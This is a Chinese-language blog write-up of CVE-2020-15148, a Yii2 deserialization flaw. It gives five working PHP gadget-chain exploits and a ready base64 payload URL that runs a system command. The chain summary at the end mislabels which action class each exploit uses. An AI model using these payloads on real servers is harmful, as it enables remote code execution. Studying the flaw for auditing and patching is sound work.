前言
漏洞存在版本<2.0.38
CVE-2020-15148
框架搭建
直接去github下载,修改好cookie的key,然后就可以访问/web了
漏洞分析
先看github里作者的提交
可以发现在 framework/db/BatchQueryResult.php 里面添加了_wakeup方法
我们就直奔这里去看了
1
yii2.0.37/vendor/yiisoft/yii2/db/BatchQueryResult.php
Copy 看到这里的__distruct()入口方法
会进去reset方法,但是进去可能就close了,但是这个_dataReader是可以控制的,到时候我们构造poc的时候可以添加析构方法为他赋值!这里$this->_dataReader
就可以触发一个__call方法
全局搜一下__call方法,发现这个类里面有妙处
1
/vendor/fzaninotto/faker/src/Faker/Generator.php
Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function format ( $formatter , $arguments = array ())
{
return call_user_func_array ( $this -> getFormatter ( $formatter ), $arguments );
}
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter ( $formatter )
{
if ( isset ( $this -> formatters [ $formatter ])) {
return $this -> formtters [ $formatter ];
}
foreach ( $this -> providers as $provider ) {
if ( method_exists ( $provider , $formatter )) {
$this -> formatters [ $formatter ] = array ( $provider , $formatter );
return $this -> formatters [ $formatter ];
}
}
throw new \InvalidArgumentException ( sprintf ( 'Unknown formatter "%s"' , $formatter ));
}
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call ( $method , $attributes )
{
return $this -> format ( $method , $attributes );
}
Copy 可以发现,__call进去,就直接进format了,而format里面就会直接执行call_user_func_array,跟进一下他的参数
先跟进一下getFormatter,发现这里返回的是formatters,这个参数是我们可控的!
但是另一个$attributes
就不可控了,这里是可以执行一些无参数的函数 ,但是如果只是调用php原生的那肯定做不了什么事情,我们需要调用yii框架里面自带的无参数方法看看有没有能进一步利用的
继续全局搜索,看看有没有那个无参数方法里面调用了call_user_func
这里是用的正则去搜索,这个正则折腾了好久
1
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
Copy 大概意思就是 function 开头,接着是一段字符接上()后换行,并只匹配0或1次,这里就表示无参数的函数了,但是我们可以更狠一点,直接搜索无参数方法中有call_user_func
的,那么就继续加上* \{
匹配前面的表达式0次或多次后加上大括号,然后在call_user_func
前面多次匹配 上一堆除了换行之外的字符后加上换行 :(.*\n)+ *
,最后加上call_user_func
这样就很精准的匹配到无参数方法中有call_user_func
函数的方法了
这里找到了一个,简直不要太好打
1
/ vendor / yiisoft / yii2 / rest / CreateAction . php
Copy
1
2
3
4
5
6
7
8
9
public function run ()
{
if ( $this -> checkAccess ) {
call_user_func ( $this -> checkAccess , $this -> id );
}
此处省略
}
Copy checkAccess和id都是我们可控的!那么这条链子就打通了,我们构造一下poc
POC1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<? php
namespace yii\rest {
class CreateAction {
public $checkAccess ;
public $id ;
public function __construct (){
$this -> checkAccess = 'system' ;
$this -> id = 'whoami' ;
}
}
}
namespace Faker {
use yii\rest\CreateAction ;
class Generator {
protected $formatters ;
public function __construct (){
$this -> formatters [ "close" ] = [ new CreateAction , 'run' ];
}
}
}
namespace yii\db {
use Faker\Generator ;
class BatchQueryResult {
private $_dataReader ;
public function __construct (){
$this -> _dataReader = new Generator ;
}
}
}
namespace {
echo base64_encode ( serialize ( new yii\db\BatchQueryResult ));
}
?>
Copy payload:
1
web?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
Copy 成功rce
这条链子的总的攻击思路为
1
2
3
4
1. BatchQueryResult里面__destruct入口函数调用了reset () 函数
2. reset () 函数内: $this -> _dataReader -> close (); 其中_dataReader可控
3. 触发__call方法,找到可利用的call方法:Generator,但是只能执行无参数函数
4. 寻找框架内的可利用的无参数函数,Generator的run
Copy 这条链子最后一个寻找无参数可利用函数的时候,还有一个可以利用
POC2
1
vendor/yiisoft/yii2/rest/IndexAction.php
Copy
1
2
3
4
5
6
7
8
public function run ()
{
if ( $this -> checkAccess ) {
call_user_func ( $this -> checkAccess , $this -> id );
}
return $this -> prepareDataProvider ();
}
Copy poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<? php
namespace yii\rest {
class IndexAction {
public $checkAccess ;
public $id ;
public function __construct (){
$this -> checkAccess = 'system' ;
$this -> id = 'whoami' ;
}
}
}
namespace Faker {
use yii\rest\IndexAction ;
class Generator {
protected $formatters ;
public function __construct (){
$this -> formatters [ "close" ] = [ new IndexAction , 'run' ];
}
}
}
namespace yii\db {
use Faker\Generator ;
class BatchQueryResult {
private $_dataReader ;
public function __construct (){
$this -> _dataReader = new Generator ;
}
}
}
namespace {
echo base64_encode ( serialize ( new yii\db\BatchQueryResult ));
}
?>
Copy POC3
作者在2.0.38只修复了BatchQueryResult,那么我们能不能再找一个__destruct入口函数去调用call方法,接上后面的链子呢?
全局搜索__destruct下,找到这个类也可以
1
/vendor/codeception/codeception/ext/RunProcess.php
Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __destruct ()
{
$this -> stopProcess ();
}
public function stopProcess ()
{
foreach ( array_reverse ( $this -> processes ) as $process ) {
/** @var $process Process **/
if ( ! $process -> isRunning ()) {
continue ;
}
$this -> output -> debug ( '[RunProcess] Stopping ' . $process -> getCommandLine ());
$process -> stop ();
}
$this -> processes = [];
}
Copy 可以发现,这里调用了$process->isRunning()
,而且这里的process是可控的!那么我们接上上面的链子就可以继续打
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<? php
namespace yii\rest {
class IndexAction {
public $checkAccess ;
public $id ;
public function __construct (){
$this -> checkAccess = 'system' ;
$this -> id = 'whoami' ;
}
}
}
namespace Faker {
use yii\rest\IndexAction ;
class Generator {
protected $formatters ;
public function __construct (){
$this -> formatters [ "isRunning" ] = [ new IndexAction , 'run' ];
}
}
}
namespace Codeception\Extension {
use Faker\Generator ;
class RunProcess {
private $processes ;
public function __construct (){
$this -> processes [] = new Generator ;
}
}
}
namespace {
echo base64_encode ( serialize ( new Codeception\Extension\RunProcess ));
}
?>
Copy POC4
不得不说,师傅们太强了,这里还找到了一个链子
在这个文件里面
1
/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function clearAll ( $nsKey )
{
if ( array_key_exists ( $nsKey , $this -> keys )) {
foreach ( $this -> keys [ $nsKey ] as $itemKey => $null ) {
$this -> clearKey ( $nsKey , $itemKey );
}
if ( is_dir ( $this -> path . '/' . $nsKey )) {
rmdir ( $this -> path . '/' . $nsKey );
}
unset ( $this -> keys [ $nsKey ]);
}
}
public function __destruct ()
{
foreach ( $this -> keys as $nsKey => $null ) {
$this -> clearAll ( $nsKey );
}
}
Copy 可以发现,这里进了clearAll后,里面会有一个字符串拼接的操作,而path是我们可控的,那么我们就可以执行__toString方法了,找一下能利用的__toString方法
这里找到了一个这个Cover.php
1
/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Covers.php
Copy 很明显这里可以调用call方法,直接接上去就可以了
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<? php
namespace yii\rest {
class IndexAction {
public $checkAccess ;
public $id ;
public function __construct (){
$this -> checkAccess = 'system' ;
$this -> id = 'whoami' ;
}
}
}
namespace Faker {
use yii\rest\IndexAction ;
class Generator {
protected $formatters ;
public function __construct (){
$this -> formatters [ "render" ] = [ new IndexAction , 'run' ];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags {
use Faker\Generator ;
class Cover {
public function __construct (){
$this -> description = new Generator ;
}
}
}
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Cover ;
class Swift_KeyCache_DiskKeyCache {
private $path ;
private $keys = [];
public function __construct (){
$this -> keys = array ( 'aaa' => 'bbb' );
$this -> path = new Cover ();
}
}
echo base64_encode ( serialize ( new Swift_KeyCache_DiskKeyCache ));
}
?>
Copy 成功rce
这些也是可以的,很多很多
POC5
除了刚刚的__call方法,其实还有一个思路,就是直接去找能利用的close()方法
在这个文件里面找到能利用的点
1
/vendor/yiisoft/yii2/web/DbSession.php
Copy
1
2
3
4
5
6
7
8
public function close ()
{
if ( $this -> getIsActive ()) {
// prepare writeCallback fields before session closes
$this -> fields = $this -> composeFields ();
YII_DEBUG ? session_write_close () : @ session_write_close ();
}
}
Copy 跟进composeFields方法
1
2
3
4
5
6
7
8
9
10
11
protected function composeFields ( $id = null , $data = null )
{
$fields = $this -> writeCallback ? call_user_func ( $this -> writeCallback , $this ) : [];
if ( $id !== null ) {
$fields [ 'id' ] = $id ;
}
if ( $data !== null ) {
$fields [ 'data' ] = $data ;
}
return $fields ;
}
Copy 可以看到这里是有一个call_user_func函数的,而且writeCallback是可控的,那么就可以接上IndexAction的run
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<? php
namespace yii\rest {
class IndexAction {
public $checkAccess ;
public $id ;
public function __construct (){
$this -> checkAccess = 'system' ;
$this -> id = 'whoami' ;
}
}
}
namespace yii\web {
use yii\rest\IndexAction ;
class DbSession
{
public $writeCallback ;
public function __construct (){
$a = new IndexAction ();
$this -> writeCallback = [ $a , 'run' ];
}
}
}
namespace yii\db {
use yii\web\DbSession ;
class BatchQueryResult
{
private $_dataReader ;
public function __construct (){
$this -> _dataReader = new DbSession ();
}
}
}
namespace {
use yii\db\BatchQueryResult ;
echo base64_encode ( serialize ( new BatchQueryResult ()));
}
Copy
总结
1
2
3
4
5
6
7
8
9
poc1: BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> IndexAction.run()
poc2:BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()
poc3: RunProcess.__destruct() -> RunProcess.stopProcess() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()
poc4: Swift_KeyCache_DiskKeyCache.__destruct() -> Swift_KeyCache_DiskKeyCache.clearAll() -> Cover.__toString() -> Cover.render() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()
poc5: BatchQueryResult.__destruct() -> DbSession.close() -> DbSession.composeFields() -> IndexAction.run
Copy 大概就分析了这些链,感觉上来说还是不算很难,也是学到了一些代码审计的知识和技巧,那么多条链子,每次成功rce的时候还是很有成就感的
参考链接:
https://ego00.blog.csdn.net/article/details/113824239
https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA